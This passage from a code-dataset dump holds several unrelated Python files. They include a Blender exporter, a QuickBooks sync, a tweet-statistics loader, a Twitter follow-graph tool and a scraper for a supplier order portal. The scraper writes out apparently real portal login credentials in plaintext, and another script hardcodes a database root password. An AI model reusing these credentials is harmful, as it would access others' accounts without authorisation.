writeTransformation(obj)\n\n\n#########################################################\n# Functions for exporting light data\n#########################################################\ndef writeLamp(obj):\n  print(\"Exporting Light : \\\"%s\\\"\" % (obj.name))\n  # output all blender light sources as point lights\n  writePointLight(obj)\n\ndef writePointLight(obj):\n  _file.write(\"light   \")\n  _file.write(\"%.3f %.3f %.3f   \"   % tuple(obj.location) )\n  _file.write(\"%.3f %.3f %.3f\\n\"    % tuple(obj.data.color) )\n\n\n#########################################################\n# Functions for exporting transformations\n#########################################################\ndef writeTransformation(obj):\n  ## Output the object transformation from the 'standard position'\n  if tuple(obj.scale) != (1, 1, 1) :\n    _file.write(\"stretch    %.3f %.3f %.3f\\n\" % tuple(obj.scale) )\n  if obj.rotation_euler[0] != 0 :\n    _file.write(\"rotate     x  %.3f\\n\" % math.degrees(obj.rotation_euler[0]) )\n  if obj.rotation_euler[1] != 0 : \n    _file.write(\"rotate     y  %.3f\\n\" % math.degrees(obj.rotation_euler[1]) )\n  if obj.rotation_euler[2] != 0 :\n    _file.write(\"rotate     z  %.3f\\n\" % math.degrees(obj.rotation_euler[2]) )\n  (x,y,z) = obj.location  \n  if (x,y,z) != (0, 0, 0) :\n    _file.write(\"translate  %.3f %.3f %.3f\\n\" % (x,y,z) )\n\n##########################################################\n# Export operator\n##########################################################\n\nclass Export_342txt(bpy.types.Operator, ExportHelper):\n    '''Exports scene as COSC342 scene file.'''\n    bl_idname = \"export_object.342txt\"\n    bl_label = \"Export COSC342 file (.txt)\"\n\n    filename_ext = \".txt\"\n\n    def execute(self, context):\n#        props = self.properties\n        filepath = self.filepath\n        filepath = bpy.path.ensure_ext(filepath, self.filename_ext)\n\n        exported = export_file(context,filepath)\n\n        return {'FINISHED'}\n\n    def invoke(self, context, event):\n        wm = context.window_manager\n\n        if True:\n            # File selector\n            wm.fileselect_add(self) # will run self.execute()\n            return {'RUNNING_MODAL'}\n        elif True:\n            # search the enum\n            wm.invoke_search_popup(self)\n            return {'RUNNING_MODAL'}\n        elif False:\n            # Redo popup\n            return wm.invoke_props_popup(self, event) #\n        elif False:\n            return self.execute(context)\n\n##########################################################\n# Blender API stuff\n##########################################################\n\ndef menu_func(self, context):\n    self.layout.operator(Export_342txt.bl_idname, text=\"COSC342 file (.txt)\")\n\ndef register():\n    bpy.utils.register_module(__name__)\n    bpy.types.INFO_MT_file_export.append(menu_func)\n     \ndef unregister():\n    bpy.utils.unregister_module(__name__)\n    bpy.types.INFO_MT_file_export.remove(menu_func)\n\nif __name__ == \"__main__\":\n    register()\n","sub_path":"scene_export2014.py","file_name":"scene_export2014.py","file_ext":"py","file_size_in_byte":9304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"419842263","text":"import datetime\n\nfrom CCC_system_setup import scac\nfrom remote_db_connect import tunnel, db\n\nprint(f'Running company {scac}')\n\nfrom QB_models import QB_Invoices, QB_Accounts, QB_Bills, QB_Customers\nfrom models import Orders, People, QBaccounts, Accttypes, Taxmap\n\ndef parent_check(qb):\n    parent = qb.ParentName\n    if parent:\n        try:\n            name, sub1 = parent.split(':')\n            sub2 = qb.Name\n        except:\n            name = parent\n            sub1 = qb.Name\n            sub2 = None\n    else:\n        name = qb.Name\n        sub1 = None\n        sub2 = None\n    return name,sub1,sub2\n\nskiplist = ['Bank Accounts', 'Credit Cards', 'Ask My Accountant', 'Estimates', 'Purchase Orders']\n\nif 1 == 1:\n    qbacct = QB_Accounts.query.all()\n    for qb in qbacct:\n\n        if qb.Type == 'BANK':\n            # First check for new Bank Accounts and Credit Card Accounts, which quickbooks treats a subaccounts of Bank Accounts...\n            bankdat = QBaccounts.query.filter( (QBaccounts.Name == qb.Name) & (QBaccounts.Type == 'Bank') ).first()\n            if bankdat is None and qb.Name not in skiplist:\n                print(f'Need to Add Quickbooks Bank Account {qb.Name} of Type {qb.Type}')\n                input = QBaccounts(Name=qb.Name,Type='Bank',Sub1=None,Sub2=None,Co='F')\n                db.session.add(input)\n\n        elif qb.Type == 'CREDITCARD' and qb.Name not in skiplist:\n            ccdat = QBaccounts.query.filter((QBaccounts.Name == qb.Name) & (QBaccounts.Type == 'Credit Card')).first()\n            if ccdat is None:\n                print(f'Need to Add Quickbooks Credit Card Account {qb.Name} of Type {qb.Type}')\n                input = QBaccounts(Name=qb.Name,Type='Credit Card',Sub1=None,Sub2=None,Co='F')\n                db.session.add(input)\n\n        elif qb.Type == 'INCOME':\n            name,sub1,sub2 = parent_check(qb)\n            if name not in skiplist and sub1 not in skiplist and sub2 not in skiplist:\n                qdat = QBaccounts.query.filter( (QBaccounts.Name == name) & (QBaccounts.Sub1 == sub1) & (QBaccounts.Sub2 == sub2) ).first()\n                if qdat is None:\n                    print(f'Need to Add Quickbooks Account {qb.Name} of Type {qb.Type}')\n                    input = QBaccounts(Name=name, Type='Income', Sub1=sub1, Sub2=sub2, Co='F')\n                    db.session.add(input)\n\n        elif qb.Type == 'COSTOFGOODSSOLD':\n            name,sub1,sub2 = parent_check(qb)\n            if name not in skiplist and sub1 not in skiplist and sub2 not in skiplist:\n                qdat = QBaccounts.query.filter( (QBaccounts.Name == name) & (QBaccounts.Sub1 == sub1) & (QBaccounts.Sub2 == sub2) ).first()\n                if qdat is None:\n                    print(f'Need to Add Quickbooks Account {qb.Name} of Type {qb.Type}')\n                    input = QBaccounts(Name=name, Type='Cost of Goods Sold', Sub1=sub1, Sub2=sub2, Co='F')\n                    db.session.add(input)\n\n        elif qb.Type == 'EXPENSE':\n            name,sub1,sub2 = parent_check(qb)\n            if name not in skiplist and sub1 not in skiplist and sub2 not in skiplist:\n                qdat = QBaccounts.query.filter( (QBaccounts.Name == name) & (QBaccounts.Sub1 == sub1) & (QBaccounts.Sub2 == sub2) ).first()\n                if qdat is None:\n                    print(f'Need to Add Quickbooks Account {qb.Name} of Type {qb.Type}')\n                    input = QBaccounts(Name=name, Type='Expense', Sub1=sub1, Sub2=sub2, Co='F')\n                    db.session.add(input)\n\n        else:\n            name,sub1,sub2 = parent_check(qb)\n            if name not in skiplist and sub1 not in skiplist and sub2 not in skiplist:\n                qdat = QBaccounts.query.filter( (QBaccounts.Name == name) & (QBaccounts.Sub1 == sub1) & (QBaccounts.Sub2 == sub2) ).first()\n                if qdat is None:\n                    print(f'Need to Add Quickbooks Account {qb.Name} of Type {qb.Type}')\n                    input = QBaccounts(Name=name, Type=qb.Type, Sub1=sub1, Sub2=sub2, Co='F')\n                    db.session.add(input)\n\n    db.session.commit()\n\n\n\ntunnel.stop()\n","sub_path":"AAA_QB_Account_Pull.py","file_name":"AAA_QB_Account_Pull.py","file_ext":"py","file_size_in_byte":4086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"485867566","text":"from flask import Flask, render_template, jsonify\n\n\n# ------------\napp = Flask(__name__)\n\n\n# ------------\n@app.route('/')\ndef site():\n    \"\"\" Returns the index.html for the site \"\"\"\n\n    try:\n        # Render the frontend\n        response = render_template('index.html')\n\n    # If an exception occurs\n    except Exception:\n        response = jsonify({'success': False})\n\n    # Return the response\n    return response\n\n\n# ------------\nif __name__ == '__main__':\n    \"\"\" Runs the Flask app listening on all interfaces, port 5000 \"\"\"\n\n    app.run(host='0.0.0.0', port=5000)","sub_path":"website/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"311835425","text":"# -*- coding: utf-8 -*-\nfrom django.db.models import F\nfrom django.db.models.aggregates import Max\nfrom django.db.models.query_utils import Q\n\n\nfrom 臺灣言語資料庫.資料模型 import 外語表\nfrom 臺灣言語資料庫.資料模型 import 文本表\n\n\nclass 外語請教條(外語表):\n\n    class Meta:\n        proxy = True\n\n    @classmethod\n    def 有建議講法的外語表(cls):\n        return (\n            cls.objects\n            .filter(\n                Q(翻譯文本__文本__平臺項目__推薦用字=True) |\n                Q(翻譯文本__文本__文本校對__新文本__平臺項目__推薦用字=True)\n            )\n            .distinct()\n            .order_by('-pk')\n        )\n\n    @classmethod\n    def 無建議講法的外語表(cls, 照排欄位):\n        return (\n            cls.objects\n            .exclude(\n                Q(翻譯文本__文本__平臺項目__推薦用字=True) |\n                Q(翻譯文本__文本__文本校對__新文本__平臺項目__推薦用字=True)\n            )\n            .filter(\n                Q(平臺項目__愛藏起來=False)\n            )\n            .distinct()\n            .order_by(*照排欄位)\n        )\n\n    @classmethod\n    def 有按呢講法的外語表(cls, 講法):\n        return (\n            cls.objects\n            .filter(\n                Q(翻譯文本__文本__平臺項目__推薦用字=True,\n                  翻譯文本__文本__文本資料=講法) |\n                Q(翻譯文本__文本__文本校對__新文本__平臺項目__推薦用字=True,\n                  翻譯文本__文本__文本校對__新文本__文本資料=講法)\n            )\n            .distinct()\n            .order_by('-pk')\n        )\n\n    @classmethod\n    def 揣上新貢獻(cls):\n        return (\n            cls.objects\n            .filter(\n                Q(翻譯文本__文本__平臺項目__推薦用字=True) |\n                Q(翻譯文本__文本__文本校對__新文本__平臺項目__推薦用字=True)\n            )\n            .distinct()\n            .annotate(上尾貢獻時間=Max('翻譯文本__文本__收錄時間'))\n            .order_by('-上尾貢獻時間')\n        )\n\n    @classmethod\n    def 無建議講法的外語表_管理頁面(cls):\n        return (\n            外語表.objects\n            .exclude(\n                Q(翻譯文本__文本__平臺項目__推薦用字=True) |\n                Q(翻譯文本__文本__文本校對__新文本__平臺項目__推薦用字=True)\n            )\n            .distinct()\n            .order_by('平臺項目__愛藏起來', '-pk')\n        )\n\n    def 揣新詞文本(self):\n        結果 = []\n        for 文本 in (\n            文本表.objects\n            .filter(平臺項目__推薦用字=True)\n            .filter(\n                Q(來源外語__外語=self) |\n                Q(來源校對資料__舊文本__來源外語__外語=self)\n            )\n            .annotate(好無=F('平臺項目__按呢講好') - F('平臺項目__按呢無好'))\n            .order_by('-好無')\n        ):\n            音標資料 = 文本.音標資料\n            try:\n                貢獻者 = 文本.來源校對資料.舊文本.來源.名\n            except Exception:\n                貢獻者 = 文本.來源.名\n            結果.append({\n                '新詞文本項目編號': str(文本.平臺項目.編號()),\n                '文本資料': 文本.文本資料,\n                '音標資料': 音標資料,\n                '貢獻者': 貢獻者,\n            })\n        return 結果\n","sub_path":"臺灣言語平臺/外語請教條.py","file_name":"外語請教條.py","file_ext":"py","file_size_in_byte":3550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"370777120","text":"import pandas as pd\nfrom pandas.io.json import json_normalize\nimport json\nimport numpy as np\nimport mysql.connector as mariadb\nfrom mysql.connector import Error\n\njson_data = open('../../data/tweet_json.txt').read()\ndata = json.loads(json_data)\ntweets_json = json_normalize(data)\n\n#Clean and adjust data\ntweets_json_clean = tweets_json.copy()\ntweets_json_clean.created_at = pd.to_datetime(tweets_json_clean.created_at, infer_datetime_format=True)\ntweets_json_clean['entities.hashtags'] = tweets_json_clean['entities.hashtags'].astype(str)\ntweets_json_clean['user.location'] = tweets_json_clean['user.location'].str.replace(pat='[^A-Za-z0-9]+', repl=' ', regex=True)\n\ndef insert_values (sql, values):\n    mariadb_connection = mariadb.connect(user='root', password='my-secret-pw', database='twitter_statistics')\n    cursor = mariadb_connection.cursor()\n    cursor.execute(sql, values)\n    mariadb_connection.commit()\n    mariadb_connection.close()\n\n\ndef get_tweets_hasgtag ( hashtag ):\n    tweets_openbanking = tweets_json_clean[tweets_json_clean['entities.hashtags'].str.contains(hashtag, case=False)].groupby(['user.location','lang']).count().filter(['created_at'])\n\n    for index, row in tweets_openbanking.iterrows():\n        sql = \"INSERT INTO hashtags_lang_location (hasgtag_name, language, location, quantity) VALUES (%s, %s, %s, %s)\"\n        quantity = row['created_at'].astype(str)\n        location = index[0]\n        language = index[1]\n        values = (hashtag, language, location, quantity)\n        insert_values(sql, values)\n        \n#Qual o total de postagens para cada uma das #tag por idioma/país do usuário que postou;\nfor hashtag in ['openbanking', 'apifirst', 'devops', 'cloudfirst', 'microservices', 'apigateway', 'oauth', 'swagger', 'raml', 'openapis']:\n    get_tweets_hasgtag(hashtag)\n\n\n#Quais são os 5 (cinco) usuários, da amostra coletada, que possuem mais seguidores?\nuser_followers = tweets_json_clean.filter(['user.name', 'user.followers_count']).drop_duplicates()\ntop_user_followers = user_followers.nlargest(5, 'user.followers_count')\n\nfor index, row in top_user_followers.iterrows():\n    sql = \"INSERT INTO users_most_followed (name, followers_qty) VALUES (%s, %s)\"\n    user = row['user.name']\n    quantity = row['user.followers_count']\n    values = (user, quantity)\n    insert_values(sql, values)\n\n#Qual o total de postagens, agrupadas por hora do dia (independentemente da #hashtag)?\ntimes = pd.DatetimeIndex(tweets_json_clean.created_at)\ntweets_by_hour = tweets_json_clean.groupby([times.date, times.hour]).count().filter(['created_at'])\n\nfor index, row in tweets_by_hour.iterrows():\n    sql = \"INSERT INTO tweets_per_hour (created_at, hour, quantity) VALUES (%s, %s, %s)\"\n    quantity = row['created_at'].astype(str)\n    hour = index[1]\n    created_at = index[0]    \n    val = (created_at, hour, quantity)\n    insert_values(sql, val)","sub_path":"apps/analyzeTweets/analyzeTweets.py","file_name":"analyzeTweets.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"89639726","text":"import plotly.graph_objects as go\nimport random\nimport networkx as nx\nimport os\nfrom collections import deque\nfrom twitterRequests import *\nimport heapq\n\ndef get_user_list(username):\n    file_path = 'data/user_list/' + username + '.json'\n    data = []\n    if os.path.isfile(file_path):\n        with open(file_path) as json_file:\n            data = json.load(json_file)\n    else:\n        data = get_list(username, 'friends')\n        if len(data) > 0:\n            with open(file_path, 'w') as outfile:\n                json.dump(data, outfile)\n\n    return data\n\ndef get_ids_list(username):\n    file_path = 'data/ids/' + username + '.json'\n    data = []\n    if os.path.isfile(file_path):\n        with open(file_path) as json_file:\n            data = json.load(json_file)\n    else:\n        data, rate_limit = get_ids(username, 'friends')\n        if not rate_limit:\n            with open(file_path, 'w') as outfile:\n                json.dump(data, outfile)\n\n    return data\n\ndef mount_graph():\n    user = input('Whats your Twitter username? ')\n    friends = get_user_list(user)\n    verified = []\n    for friend in friends:\n        if friend['verified']:\n            verified.append(friend)\n\n    for famous in verified:\n        friends.remove(famous)\n\n    return create_di_graph(friends, user)\n\ndef create_di_graph(vec, user):\n\n    G = nx.Graph()\n    DiG = nx.MultiDiGraph()\n\n    for i in range(0,len(vec)):\n        G.add_node(i, name=vec[i]['name'], id=vec[i]['id'], username=vec[i]['screen_name'], visited=False)\n        DiG.add_node(i, name=vec[i]['name'], id=vec[i]['id'], username=vec[i]['screen_name'], visited=False)\n\n    nodes = DiG.nodes(data=True)\n    for out_node in nodes:\n        username = str(out_node[1]['username'])\n        related_friends = get_ids_list(username)\n        for node in nodes:\n            for friend_id in related_friends:\n                if(friend_id == node[1]['id']):\n                    G.add_edge(out_node[0], node[0], layer=0, traveled=False)\n                    DiG.add_edge(out_node[0], node[0], layer=0, traveled=False)\n                \n\n    title = 'Graph of who ' + user + ' follows on Twitter'\n    return show_graph(G, DiG, title), G\n\ndef show_graph(G, DiG, text, colors = [], path = []):\n\n    pos = nx.fruchterman_reingold_layout(G)\n    edge_x = []\n    edge_y = []\n    for e in DiG.edges():\n        if e[0] not in path and e[1] not in path:\n            edge_x.extend([pos[e[0]][0], pos[e[1]][0], None])\n            edge_y.extend([pos[e[0]][1], pos[e[1]][1], None])\n\n    p_edge_x = []\n    p_edge_y = []\n    for edge in path:\n        p_edge_x.extend([pos[edge[0]][0], pos[edge[1]][0], True])\n        p_edge_y.extend([pos[edge[0]][1], pos[edge[1]][1], False])\n\n    edge_trace1 = go.Scatter(\n        x=p_edge_x, y=p_edge_y,\n        line=dict(width=3, color='yellow'),\n        hoverinfo='none',\n        mode='lines')\n\n    edge_trace = go.Scatter(\n        x=edge_x, y=edge_y,\n        line=dict(width=1, color='#888'),\n        hoverinfo='none',\n        mode='lines')\n\n    node_x =[pos[k][0] for k in range(len(pos))]\n    node_y=[pos[k][1] for k in range(len(pos))]\n\n    node_trace = go.Scatter(\n        x=node_x, y=node_y,\n        mode='markers',\n        hoverinfo='text',\n        marker=dict(\n            showscale=True,\n            colorscale='YlGnBu',\n            reversescale=True,\n            color=colors,\n            size=10,\n            colorbar=dict(\n                thickness=15,\n                title='Node Connections',\n                xanchor='left',\n                titleside='right'\n            ),\n            line_width=2))\n\n    node_adjacencies = []\n    node_text = []\n    for node, adjacencies in enumerate(DiG.adjacency()):\n        node_adjacencies.append(len(adjacencies[1]))\n        node_text.append(DiG.nodes[node]['name'] + ' \\n@' + DiG.nodes[node]['username'])\n\n    if len(colors) > 0:\n        node_trace.marker.color = colors\n    else:\n        node_trace.marker.color = node_adjacencies\n\n    node_trace.text = node_text\n    fig = go.Figure(data=[edge_trace, edge_trace1, node_trace],\n                    layout=go.Layout(\n                title='<b>'+text+'</b>',\n                    titlefont_size=16,\n                    showlegend=False,\n                    hovermode='closest',\n                    margin=dict(b=20, l=5, r=5, t=40),\n                    annotations=[dict(\n                        text=\"Made by Alexandre Miguel and Gabriela Guedes\",\n                        showarrow=False,\n                        xref=\"paper\", yref=\"paper\",\n                        x=0.005, y=-0.002)],\n                    xaxis=dict(showgrid=False, zeroline=False,\n                            showticklabels=False),\n                    yaxis=dict(showgrid=False, zeroline=False, showticklabels=False))\n                    )\n\n    fig.show()\n    return DiG\n\ndef search_path(from_user, to_user, G):\n    return nx.shortest_path(G, from_user, to_user)\n\ndef get_user_graph_id(username, G):\n    for i in range(0, len(G)):\n        if G.nodes[i]['username'] == username:\n            return i\n    return -1\n\ndef breadth_first_search(G, username):\n    nodes = G.nodes(data=True)\n    origin = get_user_graph_id(username, G)\n    size = len(nodes)\n    path = []\n    if (origin != -1):\n        nodes[origin]['visited'] = True\n        path = list(G.adj[origin])\n        for init_pos in path:\n            nodes[init_pos]['visited'] = True\n            G.edges[origin, init_pos]['traveled'] = True\n            G.edges[origin, init_pos]['layer'] = 1\n        for pos in path:\n            neighbours = list(G.adj[pos])\n            for n_pos in neighbours:\n                if(nodes[n_pos]['visited']):\n                    if(G.edges[origin, init_pos]['layer'] == 0):\n                        G.edges[origin, init_pos]['layer'] = 2\n                else:\n                    path.append(n_pos)\n                    nodes[n_pos]['visited'] = True\n                    G.edges[pos, n_pos]['traveled'] = True\n                    G.edges[pos, n_pos]['layer'] = 1\n    node_colors = []\n    for n in range(size):\n        if(n == origin):\n            node_colors.append(\"blue\")\n        elif(nodes[n]['visited'] == True):\n            node_colors.append(\"red\")\n        else:\n            node_colors.append(\"green\")\n    \n    return node_colors\n\ndef depth_first_search(G, username, stack):\n    nodes = G.nodes(data=True)\n    origin = get_user_graph_id(username, G)\n    size = len(nodes)\n\n    if (origin == -1):\n        return stack\n\n    nodes[origin]['visited'] = True\n    adjacents = list(G.adj[origin])\n    stack.append(origin)\n    \n    for elmnt in adjacents:\n        if nodes[elmnt]['visited'] == False:\n            G.edges[origin, elmnt, 0]['traveled'] = True\n            G.edges[origin, elmnt, 0]['layer'] = 1\n            stack = depth_first_search(G, nodes[elmnt]['username'], stack)\n        else:\n            G.edges[origin, elmnt, 0]['traveled'] = True\n            G.edges[origin, elmnt, 0]['layer'] = 2\n    return stack\n\ndef prepare_dfs(G, username):\n    nodes = G.nodes(data=True)\n    origin = get_user_graph_id(username, G)\n    node_colors = []\n    size = len(nodes)\n    stack = []\n    stack = depth_first_search(G, username, stack)\n    for n in range(size):\n        if(n == origin):\n            node_colors.append(\"blue\")\n        elif(nodes[n]['visited'] == True):\n            node_colors.append(\"red\")\n        else:\n            node_colors.append(\"green\")\n    return node_colors, stack\n\ndef create_multidi_graph(vec, username):\n    # print(vec)\n    DiG = nx.MultiDiGraph()\n    G = nx.Graph()\n    size = len(vec)\n    \n    for i in range(0,size):\n        DiG.add_node(i, id=vec[i][0], name=vec[i][1], username=vec[i][2], visited=False)\n        G.add_node(i, id=vec[i][0], name=vec[i][1], username=vec[i][2], visited=False)\n        \n\n    nodes = DiG.nodes(data=True)\n    for i in range(0,size):\n        adj_set = vec[i][3]\n        for j in range(0, size):\n            if nodes[j]['id'] in adj_set:\n                G.add_edge(i, j, weight=1)\n                DiG.add_edge(i, j, weight=1)\n                    \n    return DiG\n\ndef inner_circle(G, username):\n    node_colors, stack = prepare_dfs(G, username)\n    origin = get_user_graph_id(username, G)\n    adjacents = set(G.adj[origin])\n    inner_circle = []\n    containers = []\n    removals = []\n\n    for elmnt in adjacents:\n        in_adjacents = set(G.adj[elmnt]) #Usuários que o amigos do Origem seguem\n        if not(origin in in_adjacents): #Constrói lista de usuários que o Origem segue que não o seguem de volta\n            removals.append(elmnt) \n\n    for out in removals: # Remove usuários que não o seguem de volta\n        print('removing: ' + G.nodes[out]['username'] )\n        adjacents.remove(out)\n\n\n    #Elementos que o nó de origem segue\n    for elmnt in adjacents:\n        in_adjacents = set(G.adj[elmnt]) #Usuários que o amigos do Origem seguem\n\n        elmnt_following = in_adjacents.intersection(adjacents) # Interseção entre quem Origem segue e quem o amigo de origem segue\n        elmnt_following.add(elmnt)\n        containers.append( (elmnt, elmnt_following) )\n    flag = True\n\n    while flag:\n        heap = []\n        for elmnt in adjacents:\n            cont = 0\n            for element in containers:\n                if(elmnt in element[1]):\n                    cont = cont + 1\n            heap.append((cont, elmnt))\n        heapq.heapify(heap)\n\n        if len(heap) > 0 and heap[0][0] < len(adjacents):\n            small = heapq.heappop(heap)\n            adjacents.remove(small[1])\n        else:\n            flag = False\n\n    for n in adjacents:\n        node_colors[n] = \"yellow\"\n\n    return adjacents, node_colors\n\n\ndef show_little_pan(G, DiG, title, node_colors, usr, adj):\n    usr_id = get_user_graph_id(usr, DiG)\n    little_pan = [usr_id, *adj]\n    path = []\n    for i in range(0, len(little_pan)-1):\n        for j in range(i + 1, len(little_pan)):\n            path.append((little_pan[i], little_pan[j]))\n\n    show_graph(G, DiG, title, node_colors, path)\n\nif __name__ == \"__main__\":\n    create_barear_token()\n    DiG, G = mount_graph()\n    usr = ''\n    print('\\nTo exit the program write EXIT on the username field.\\n')\n    usr = input('\\nPerform Depth First Search from user: @')\n\n    while (usr != 'exit') and (usr != 'EXIT'):\n        try:\n            node_colors, stack = prepare_dfs(DiG, usr)\n            title = 'Depth-First Search starting on ' + usr\n            adjacents, node_colors = inner_circle(DiG, usr)\n            show_little_pan(G, DiG, title, node_colors, usr, adjacents)\n        except KeyError:\n            print('\\nUsername not found!\\n')\n\n        usr = input('\\nPerform Depth First Search from user: @')\n","sub_path":"twitterGraph.py","file_name":"twitterGraph.py","file_ext":"py","file_size_in_byte":10627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"649117199","text":"def CCW(P, P1, P2):\n    x1, y1 = P\n    x2, y2 = P1\n    x3, y3 = P2\n    Area = (x2 - x1) * (y3 - y1) - (y2 - y1) * ( x3 - x1)\n    Abs = abs(Area)\n    if Area == 0 : return 0\n    return Area / Abs \n\ndef ConvexHull(cor):\n    cor.sort()\n    UP = []\n    LO = []\n    for q in cor:\n        while len(UP) > 1 and CCW(UP[-2], UP[-1], q) >= 0: UP.pop()\n        while len(LO) > 1 and CCW(LO[-2], LO[-1], q) <= 0: LO.pop()\n        UP.append(q)\n        LO.append(q)\n    return UP, LO #upper hull, lower hull\n","sub_path":"Convex Hull/Monotone Chain/find_ch.py","file_name":"find_ch.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"231328987","text":"import sqlite3\r\nimport sys\r\nimport math\r\n\r\ninput = sys.argv[1]\r\n\r\n# Define help function\r\ndef get_help():\r\n    print (\"Enter any university name from ia05 database table and \\n \\\r\n            get its most similar and least similar university from  \\n \\\r\n            rest of the universities\\n \\\r\n            Type -l for list of universities\")\r\n\r\nif input == \"-h\":\r\n    get_help()\r\nelse:\r\n    conn = sqlite3.connect(\"ia05.sqlite\")\r\n    c = conn.cursor()\r\n    # fetch all required column data\r\n    university_data = c.execute('''SELECT School,  Median_SAT_std,\r\n                                   Acceptance_Rate_Perc_std,\r\n                                   Expenditures_per_student_std,\r\n                                   Graduation_perc_std\r\n                                  FROM universities''').fetchall()\r\n\r\n    schools_list = []\r\n    for i in range (0, len(university_data)):\r\n        schools_list.append(university_data[i][0])\r\n\r\n    # Print list of schools when input = -l\r\n    if input == \"-l\":\r\n        for school in schools_list:\r\n            print(school)\r\n    else:\r\n        if input in schools_list:\r\n            index = schools_list.index(input)\r\n            median = university_data[index][1]\r\n            acc_rate = university_data[index][2]\r\n            exp_per_student = university_data[index][3]\r\n            grad_perc = university_data[index][4]\r\n            s1 = []\r\n            s2 = []\r\n\r\n            for i in range(0, len(university_data)):\r\n                if i != index:\r\n                    score = (median - university_data[i][1])**2 + \\\r\n                            (acc_rate - university_data[i][2])**2 +\\\r\n                            (exp_per_student - university_data[i][3])**2 +\\\r\n                            (grad_perc - university_data[i][4])**2\r\n                    score = math.sqrt(score)\r\n                    if len(s1) is 0:\r\n                        s1.append(university_data[i][0])\r\n                        s1.append(score)\r\n                        s2.append(university_data[i][0])\r\n                        s2.append(score)\r\n                    # Compare and move\r\n                    else:\r\n                        if score < s1[1]:\r\n                            s1[0] = university_data[i][0]\r\n                            s1[1] = score\r\n                        if score > s2[1]:\r\n                            s2[0] = university_data[i][0]\r\n                            s2[1] = score\r\n\r\n            print (\"Based on our calculation, a most similar University to\"\r\n                    \"{0} is {1} (Euclidean distance {2}), while the least \"\r\n                    \"similar is {3}(Euclidean distance of {4})\"\r\n                   .format(input, s1[0], s1[1], s2[0], s2[1]))\r\n","sub_path":"Class Notes/IA/IA Blank/IA05/IA05.py","file_name":"IA05.py","file_ext":"py","file_size_in_byte":2709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"423167710","text":"\n#file = open(\"eurnn.txt\", \"r\")\n#ofile = open(\"eurnn_valid.csv\", \"w\")\n\n\nfile = open(\"goru.txt\", \"r\")\nofile = open(\"goru_valid.csv\", \"w\")\n\ncount = 0\n\nwhile True:\n    line = file.readline()\n    if not line:\n        break\n    line = line.strip().split(\" \")\n    acc = line[1].split(\"=\")[1]\n    ofile.write(\"{},{}\\n\".format(count+1, acc))\n    count+=1\n\nofile.close()","sub_path":"myTorch/memnets/extract_eurnn.py","file_name":"extract_eurnn.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"188355469","text":"#encoding: utf-8\n\n# 中百供应商查询主页：http://gys.zon100.com/gyscxmain.jsp\nimport requests\nfrom bs4 import BeautifulSoup\nimport mysql.connector\nimport re\n\nrq1 = input(\"输入开始日期：\")\nrq2 = input(\"输入截止日期：\")\nconn = mysql.connector.connect(user='root', password='',\n                              host='127.0.0.1',\n                              database='studentinfo')\ncursor = conn.cursor()\n\nsql = \"delete from zbddjk\"\n\ncursor.execute(sql)\nconn.commit()\n#\npayload = {'zh': '18864', 'pwd': '520520'}\nr = requests.post('http://gys.zon100.com/login.do', data=payload)\n# print(r.cookies.get_dict())\n# print(r.cookies.get_dict().get('JSESSIONID'))\nck = \"JSESSIONID=\" + r.cookies.get_dict().get('JSESSIONID')\n# print(ck)\n#\n\nurl = \"http://gys.zon100.com/djcx/DdHeadAction.do\"\nheaders = {\n    'User-Agent': \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\",\n    'Cookie': ck\n}\ndata = {\n    'fgs': 'C',\n    'gysh': '18864',\n    'rq1': rq1,\n    'rq2': rq2,\n    'ddh': ''\n}\nresponse = requests.post(url=url, headers=headers, data=data)\nresponse.encoding = 'gbk'\n\ncontent = response.text\n# print(content)\n\nsoup = BeautifulSoup(content, 'lxml')\nfor el in soup.find_all(id='demo'):\n    # for item in el.find_all('a'):\n    #     url = 'http://gys.zon100.com' + item.attrs['href']\n    #     # print(url)\n    #     ddbh = item.get_text()\n    #     ddlb = item.parent.next_sibling.next_sibling.get_text()\n    #     dhrq = item.parent.next_sibling.next_sibling.next_sibling.next_sibling.get_text()\n    #     print(ddbh,ddlb,dhrq)\n    for item in el.find_all('tbody'):\n        for row in item.find_all('tr'):\n            td = row.find_all('td')\n            url = \"http://gys.zon100.com\"+td[2].find('a').attrs['href']\n            ddh = td[2].get_text()\n            ddlb = td[3].get_text()\n            dhrq = td[4].get_text()\n            jzrq = td[5].get_text()\n            jyfs = td[6].get_text()\n            mc = re.sub('\\s', '', td[7].get_text())\n            mcbm = mc[0:4]\n            mcmc = mc[4:len(mc)]\n            kq = re.sub('\\s', '', td[8].get_text())\n            kqbm = kq[0:6]\n            kqmc = kq[6:len(kq)]\n            ds = re.sub('\\s', '', td[9].get_text())\n            dsbm = ds[0:6]\n            dsmc = ds[6:len(ds)]\n            shzt = td[10].get_text()\n            # print(url, ddh, ddlb, dhrq, jzrq, jyfs, mcbm, mcmc, kqbm, kqmc, dsbm, dsmc, shzt)\n            data = {\n                'fgs': 'C',\n                'seqno': ddh\n            }\n            response = requests.get(url=url, headers=headers, data=data)\n            response.encoding = 'gbk'\n\n            content = response.text\n            # print(content)\n            soup = BeautifulSoup(content, 'lxml')\n            for el in soup.find_all(id='demo'):\n                for item in el.find_all('tbody'):\n                    for row in item.find_all('tr'):\n                        td = row.find_all('td')\n                        spbm = td[1].get_text()\n                        txm = td[2].get_text()\n                        pm = td[3].get_text()\n                        pp = td[4].get_text()\n                        dw = td[5].get_text()\n                        js = 